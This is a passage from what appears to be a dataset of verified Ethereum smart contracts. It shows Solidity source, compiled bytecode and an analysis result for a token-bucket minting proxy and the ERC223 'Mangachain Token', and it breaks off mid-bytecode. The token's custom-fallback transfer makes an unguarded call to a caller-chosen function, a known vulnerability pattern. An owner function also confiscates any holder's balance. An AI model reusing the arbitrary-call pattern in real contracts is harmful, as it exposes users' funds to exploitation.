// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/// @title Role based access control mixin for Rasmart Platform
/// @author Abha Mai <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="fe939f979f9c969fc6ccbe99939f9792d09d9193">[email protected]</a>>
/// @dev Ignore DRY approach to achieve readability
contract RBACMixin {
/// @notice Constant string message to throw on lack of access
string constant FORBIDDEN = "Haven't enough right to access";
/// @notice Public map of owners
mapping (address => bool) public owners;
/// @notice Public map of minters
mapping (address => bool) public minters;
/// @notice The event indicates the addition of a new owner
/// @param who is address of added owner
event AddOwner(address indexed who);
/// @notice The event indicates the deletion of an owner
/// @param who is address of deleted owner
event DeleteOwner(address indexed who);
/// @notice The event indicates the addition of a new minter
/// @param who is address of added minter
event AddMinter(address indexed who);
/// @notice The event indicates the deletion of a minter
/// @param who is address of deleted minter
event DeleteMinter(address indexed who);
constructor () public {
_setOwner(msg.sender, true);
}
/// @notice The functional modifier rejects the interaction of senders who are not owners
modifier onlyOwner() {
require(isOwner(msg.sender), FORBIDDEN);
_;
}
/// @notice Functional modifier for rejecting the interaction of senders that are not minters
modifier onlyMinter() {
require(isMinter(msg.sender), FORBIDDEN);
_;
}
/// @notice Look up for the owner role on providen address
/// @param _who is address to look up
/// @return A boolean of owner role
function isOwner(address _who) public view returns (bool) {
return owners[_who];
}
/// @notice Look up for the minter role on providen address
/// @param _who is address to look up
/// @return A boolean of minter role
function isMinter(address _who) public view returns (bool) {
return minters[_who];
}
/// @notice Adds the owner role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function addOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, true);
}
/// @notice Deletes the owner role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to delete role
/// @return A boolean that indicates if the operation was successful.
function deleteOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, false);
}
/// @notice Adds the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function addMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, true);
}
/// @notice Deletes the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to delete role
/// @return A boolean that indicates if the operation was successful.
function deleteMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, false);
}
/// @notice Changes the owner role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setOwner(address _who, bool _flag) private returns (bool) {
require(owners[_who] != _flag);
owners[_who] = _flag;
if (_flag) {
emit AddOwner(_who);
} else {
emit DeleteOwner(_who);
}
return true;
}
/// @notice Changes the minter role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setMinter(address _who, bool _flag) private returns (bool) {
require(minters[_who] != _flag);
minters[_who] = _flag;
if (_flag) {
emit AddMinter(_who);
} else {
emit DeleteMinter(_who);
}
return true;
}
}
interface IMintableToken {
function mint(address _to, uint256 _amount) external returns (bool);
}
/// @title Very simplified implementation of Token Bucket Algorithm to secure token minting
/// @author Abha Mai <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="e489858d85868c85dcd6a48389858d88ca878b89">[email protected]</a>>
/// @notice Works with tokens implemented Mintable interface
/// @dev Transfer ownership/minting role to contract and execute mint over TeamBucket proxy to secure
contract TeamBucket is RBACMixin, IMintableToken {
using SafeMath for uint;
/// @notice Limit maximum amount of available for minting tokens when bucket is full
/// @dev Should be enough to mint tokens with proper speed but less enough to prevent overminting in case of losing pkey
uint256 public size;
/// @notice Bucket refill rate
/// @dev Tokens per second (based on block.timestamp). Amount without decimals (in smallest part of token)
uint256 public rate;
/// @notice Stored time of latest minting
/// @dev Each successful call of minting function will update field with call timestamp
uint256 public lastMintTime;
/// @notice Left tokens in bucket on time of latest minting
uint256 public leftOnLastMint;
/// @notice Reference of Mintable token
/// @dev Setup in contructor phase and never change in future
IMintableToken public token;
/// @notice Token Bucket leak event fires on each minting
/// @param to is address of target tokens holder
/// @param left is amount of tokens available in bucket after leak
event Leak(address indexed to, uint256 left);
/// @param _token is address of Mintable token
/// @param _size initial size of token bucket
/// @param _rate initial refill rate (tokens/sec)
constructor (address _token, uint256 _size, uint256 _rate) public {
token = IMintableToken(_token);
size = _size;
rate = _rate;
leftOnLastMint = _size;
}
/// @notice Change size of bucket
/// @dev Require owner role to call
/// @param _size is new size of bucket
/// @return A boolean that indicates if the operation was successful.
function setSize(uint256 _size) public onlyOwner returns (bool) {
size = _size;
return true;
}
/// @notice Change refill rate of bucket
/// @dev Require owner role to call
/// @param _rate is new refill rate of bucket
/// @return A boolean that indicates if the operation was successful.
function setRate(uint256 _rate) public onlyOwner returns (bool) {
rate = _rate;
return true;
}
/// @notice Change size and refill rate of bucket
/// @dev Require owner role to call
/// @param _size is new size of bucket
/// @param _rate is new refill rate of bucket
/// @return A boolean that indicates if the operation was successful.
function setSizeAndRate(uint256 _size, uint256 _rate) public onlyOwner returns (bool) {
return setSize(_size) && setRate(_rate);
}
/// @notice Function to mint tokens
/// @param _to The address that will receive the minted tokens.
/// @param _amount The amount of tokens to mint.
/// @return A boolean that indicates if the operation was successful.
function mint(address _to, uint256 _amount) public onlyMinter returns (bool) {
uint256 available = availableTokens();
require(_amount <= available);
leftOnLastMint = available.sub(_amount);
lastMintTime = now; // solium-disable-line security/no-block-members
require(token.mint(_to, _amount));
return true;
}
/// @notice Function to calculate and get available in bucket tokens
/// @return An amount of available tokens in bucket
function availableTokens() public view returns (uint) {
// solium-disable-next-line security/no-block-members
uint256 timeAfterMint = now.sub(lastMintTime);
uint256 refillAmount = rate.mul(timeAfterMint).add(leftOnLastMint);
return size < refillAmount ? size : refillAmount;
}
} | 0x6080604052600436106100fb5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663022914a78114610100578063170ab405146101355780632aff49d71461014d5780632c4e722e146101685780632f54bf6e1461018f57806334fcf437146101b057806336b40bb6146101c857806340c10f19146101dd57806369bb4dc2146102015780637065cb4814610216578063949d225d14610237578063983b2d561461024c5780639d4635201461026d578063aa271e1a14610282578063cd5c4c70146102a3578063d82f94a3146102c4578063f46eccc4146102e5578063fc0c546a14610306575b600080fd5b34801561010c57600080fd5b50610121600160a060020a0360043516610337565b604080519115158252519081900360200190f35b34801561014157600080fd5b5061012160043561034c565b34801561015957600080fd5b50610121600435602435610411565b34801561017457600080fd5b5061017d6104b3565b60408051918252519081900360200190f35b34801561019b57600080fd5b50610121600160a060020a03600435166104b9565b3480156101bc57600080fd5b506101216004356104d7565b3480156101d457600080fd5b5061017d610560565b3480156101e957600080fd5b50610121600160a060020a0360043516602435610566565b34801561020d57600080fd5b5061017d6106ca565b34801561022257600080fd5b50610121600160a060020a0360043516610729565b34801561024357600080fd5b5061017d6107ba565b34801561025857600080fd5b50610121600160a060020a03600435166107c0565b34801561027957600080fd5b5061017d61084b565b34801561028e57600080fd5b50610121600160a060020a0360043516610851565b3480156102af57600080fd5b50610121600160a060020a036004351661086f565b3480156102d057600080fd5b50610121600160a060020a03600435166108fa565b3480156102f157600080fd5b50610121600160a060020a0360043516610985565b34801561031257600080fd5b5061031b61099a565b60408051600160a060020a039092168252519081900360200190f35b60006020819052908152604090205460ff1681565b6000610357336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156104075760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360005b838110156103cc5781810151838201526020016103b4565b50505050905090810190601f1680156103f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5050600255600190565b600061041c336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156104905760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b5061049a8361034c565b80156104aa57506104aa826104d7565b90505b92915050565b60035481565b600160a060020a031660009081526020819052604090205460ff1690565b60006104e2336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156105565760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b5050600355600190565b60055481565b60008061057233610851565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156105e65760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506105ef6106ca565b9050808311156105fe57600080fd5b61060e818463ffffffff6109a916565b600555426004908155600654604080517f40c10f19000000000000000000000000000000000000000000000000000000008152600160a060020a038881169482019490945260248101879052905192909116916340c10f19916044808201926020929091908290030181600087803b15801561068957600080fd5b505af115801561069d573d6000803e3d6000fd5b505050506040513d60208110156106b357600080fd5b505115156106c057600080fd5b5060019392505050565b60008060006106e4600454426109a990919063ffffffff16565b915061070d600554610701846003546109bb90919063ffffffff16565b9063ffffffff6109e416565b9050806002541061071e5780610722565b6002545b9250505090565b6000610734336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156107a85760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b48260016109f1565b50919050565b60025481565b60006107cb336104b9565b60408051808201909152601e8152600080516020610b91833981519152602082015290151561083f5760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b4826001610ac1565b60045481565b600160a060020a031660009081526001602052604090205460ff1690565b600061087a336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156108ee5760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b48260006109f1565b6000610905336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156109795760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b4826000610ac1565b60016020526000908152604090205460ff1681565b600654600160a060020a031681565b6000828211156109b557fe5b50900390565b60008215156109cc575060006104ad565b508181028183828115156109dc57fe5b04146104ad57fe5b818101828110156104ad57fe5b600160a060020a03821660009081526020819052604081205460ff1615158215151415610a1d57600080fd5b600160a060020a0383166000908152602081905260409020805460ff19168315801591909117909155610a8357604051600160a060020a038416907fac1e9ef41b54c676ccf449d83ae6f2624bcdce8f5b93a6b48ce95874c332693d90600090a2610ab8565b604051600160a060020a038416907fbaefbfc44c4c937d4905d8a50bef95643f586e33d78f3d1998a10b992b68bdcc90600090a25b50600192915050565b600160a060020a03821660009081526001602052604081205460ff1615158215151415610aed57600080fd5b600160a060020a0383166000908152600160205260409020805460ff19168315801591909117909155610b5357604051600160a060020a038416907f16baa937b08d58713325f93ac58b8a9369a4359bbefb4957d6d9b402735722ab90600090a2610ab8565b604051600160a060020a038416907f4a59e6ea1f075b8fb09f3b05c8b3e9c68b31683a887a4d692078957c58a12be390600090a2506001929150505600486176656e277420656e6f75676820726967687420746f206163636573730000a165627a7a72305820cbba3f2e430d50d25149f9ef42a9421debd6bb506b30958d0955c3c985a6bb880029 | {"success": true, "error": null, "results": {}} | 10,677 |
0x94b322df3a8206cef343bfd573378c353f2fa4ec | pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: contracts/MangachainToken.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title MangachainToken
* @dev MangachainToken is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract MangachainToken is ERC223, Pausable {
using SafeMath for uint256;
string public name = "Mangachain Token";
string public symbol = "MCT";
uint8 public decimals = 8;
uint256 public totalSupply = 5e10 * 1e8;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
address public depositAddress;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => uint256) public unlockUnixTime;
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
function MangachainToken(address _team, address _development, address _marketing, address _release, address _deposit) public {
owner = _team;
depositAddress = _deposit;
balanceOf[_team] = totalSupply.mul(15).div(100);
balanceOf[_development] = totalSupply.mul(15).div(100);
balanceOf[_marketing] = totalSupply.mul(30).div(100);
balanceOf[_release] = totalSupply.mul(40).div(100);
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) whenNotPaused public returns (bool success) {
require(_value > 0
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) whenNotPaused public returns (bool success) {
require(_value > 0
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) whenNotPaused public returns (bool success) {
require(_value > 0
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function distributeTokens(address[] addresses, uint[] amounts) whenNotPaused public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint i = 0; i < addresses.length; i++){
require(amounts[i] > 0
&& addresses[i] != 0x0
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = amounts[i].mul(1e8);
totalAmount = totalAmount.add(amounts[i]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (i = 0; i < addresses.length; i++) {
balanceOf[addresses[i]] = balanceOf[addresses[i]].add(amounts[i]);
Transfer(msg.sender, addresses[i], amounts[i]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev To collect tokens from target addresses. This function is used when we collect tokens which transfer to our service.
* @param _targets collect target addresses
*/
function collectTokens(address[] _targets) onlyOwner whenNotPaused public returns (bool) {
require(_targets.length > 0);
uint256 totalAmount = 0;
for (uint i = 0; i < _targets.length; i++) {
require(_targets[i] != 0x0 && now > unlockUnixTime[_targets[i]]);
totalAmount = totalAmount.add(balanceOf[_targets[i]]);
Transfer(_targets[i], depositAddress, balanceOf[_targets[i]]);
balanceOf[_targets[i]] = 0;
}
balanceOf[depositAddress] = balanceOf[depositAddress].add(totalAmount);
return true;
}
function setDepositAddress(address _addr) onlyOwner whenNotPaused public {
require(_addr != 0x0 && now > unlockUnixTime[_addr]);
depositAddress = _addr;
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[depositAddress] >= distributeAmount
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) depositAddress.transfer(msg.value);
balanceOf[depositAddress] = balanceOf[depositAddress].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(depositAddress, msg.sender, distributeAmount);
}
/**
* @dev fallback function
*/
function() payable public {
autoDistribute();
}
} | 0x60806040526004361061015b5763ffffffff60e060020a60003504166305d2035b811461016557806306fdde031461018e578063095ea7b31461021857806318160ddd1461023c57806323b872dd1461026357806328f833b71461028d578063313ce567146102be5780633f4ba83a146102e957806340c10f19146102fe5780634bd09c2a146103225780634f25eced146103b05780635c975abb146103c557806364ddc605146103da57806370a08231146104685780637d64bcb4146104895780638456cb591461049e5780638da5cb5b146104b357806390502c2e146104c857806395d89b411461051d5780639dc29fac14610532578063a8f11eb91461015b578063a9059cbb14610556578063ab18af271461057a578063be45fd621461059b578063cbbe974b14610604578063d39b1d4814610625578063dd62ed3e1461063d578063f2fde38b14610664578063f6368f8a14610685575b61016361072c565b005b34801561017157600080fd5b5061017a610882565b604080519115158252519081900360200190f35b34801561019a57600080fd5b506101a361088b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101dd5781810151838201526020016101c5565b50505050905090810190601f16801561020a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022457600080fd5b5061017a600160a060020a036004351660243561091e565b34801561024857600080fd5b5061025161099f565b60408051918252519081900360200190f35b34801561026f57600080fd5b5061017a600160a060020a03600435811690602435166044356109a5565b34801561029957600080fd5b506102a2610b77565b60408051600160a060020a039092168252519081900360200190f35b3480156102ca57600080fd5b506102d3610b8b565b6040805160ff9092168252519081900360200190f35b3480156102f557600080fd5b50610163610b94565b34801561030a57600080fd5b5061017a600160a060020a0360043516602435610c0c565b34801561032e57600080fd5b506040805160206004803580820135838102808601850190965280855261017a95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610d0c9650505050505050565b3480156103bc57600080fd5b50610251610fe6565b3480156103d157600080fd5b5061017a610fec565b3480156103e657600080fd5b506040805160206004803580820135838102808601850190965280855261016395369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610ffc9650505050505050565b34801561047457600080fd5b50610251600160a060020a0360043516611160565b34801561049557600080fd5b5061017a61117b565b3480156104aa57600080fd5b506101636111e1565b3480156104bf57600080fd5b506102a261125e565b3480156104d457600080fd5b506040805160206004803580820135838102808601850190965280855261017a9536959394602494938501929182918501908490808284375094975061126d9650505050505050565b34801561052957600080fd5b506101a36114a6565b34801561053e57600080fd5b50610163600160a060020a0360043516602435611507565b34801561056257600080fd5b5061017a600160a060020a03600435166024356115ec565b34801561058657600080fd5b50610163600160a060020a0360043516611687565b3480156105a757600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261017a948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506117249650505050505050565b34801561061057600080fd5b50610251600160a060020a03600435166117b5565b34801561063157600080fd5b506101636004356117c7565b34801561064957600080fd5b50610251600160a060020a03600435811690602435166117e3565b34801561067057600080fd5b50610163600160a060020a036004351661180e565b34801561069157600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261017a948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506118a39650505050505050565b600060065411801561075f57506006546007546101009004600160a060020a031660009081526008602052604090205410155b80156107795750336000908152600a602052604090205442115b151561078457600080fd5b60003411156107cf57600754604051600160a060020a0361010090920491909116903480156108fc02916000818181858888f193505050501580156107cd573d6000803e3d6000fd5b505b6006546007546101009004600160a060020a03166000908152600860205260409020546107fb91611bb7565b6007546101009004600160a060020a0316600090815260086020526040808220929092556006543382529190205461083291611bc9565b3360008181526008602090815260409182902093909355600754600654825190815291519293610100909104600160a060020a0316926000805160206120098339815191529281900390910190a3565b60075460ff1681565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156109145780601f106108e957610100808354040283529160200191610914565b820191906000526020600020905b8154815290600101906020018083116108f757829003601f168201915b5050505050905090565b60015460009060a060020a900460ff161561093857600080fd5b336000818152600960209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60055490565b60015460009060a060020a900460ff16156109bf57600080fd5b600160a060020a038316158015906109d75750600082115b80156109fb5750600160a060020a0384166000908152600860205260409020548211155b8015610a2a5750600160a060020a03841660009081526009602090815260408083203384529091529020548211155b8015610a4d5750600160a060020a0384166000908152600a602052604090205442115b8015610a705750600160a060020a0383166000908152600a602052604090205442115b1515610a7b57600080fd5b600160a060020a038416600090815260086020526040902054610aa4908363ffffffff611bb716565b600160a060020a038086166000908152600860205260408082209390935590851681522054610ad9908363ffffffff611bc916565b600160a060020a038085166000908152600860209081526040808320949094559187168152600982528281203382529091522054610b1d908363ffffffff611bb716565b600160a060020a0380861660008181526009602090815260408083203384528252918290209490945580518681529051928716939192600080516020612009833981519152929181900390910190a35060015b9392505050565b6007546101009004600160a060020a031681565b60045460ff1690565b600154600160a060020a03163314610bab57600080fd5b60015460a060020a900460ff161515610bc357600080fd5b6001805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600154600090600160a060020a03163314610c2657600080fd5b60075460ff1615610c3657600080fd5b60008211610c4357600080fd5b600554610c56908363ffffffff611bc916565b600555600160a060020a038316600090815260086020526040902054610c82908363ffffffff611bc916565b600160a060020a038416600081815260086020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206120098339815191529181900360200190a350600192915050565b6001546000908190819060a060020a900460ff1615610d2a57600080fd5b60008551118015610d3c575083518551145b8015610d565750336000908152600a602052604090205442115b1515610d6157600080fd5b5060009050805b8451811015610e825760008482815181101515610d8157fe5b90602001906020020151118015610db957508481815181101515610da157fe5b90602001906020020151600160a060020a0316600014155b8015610e005750600a60008683815181101515610dd257fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610e0b57600080fd5b610e376305f5e1008583815181101515610e2157fe5b602090810290910101519063f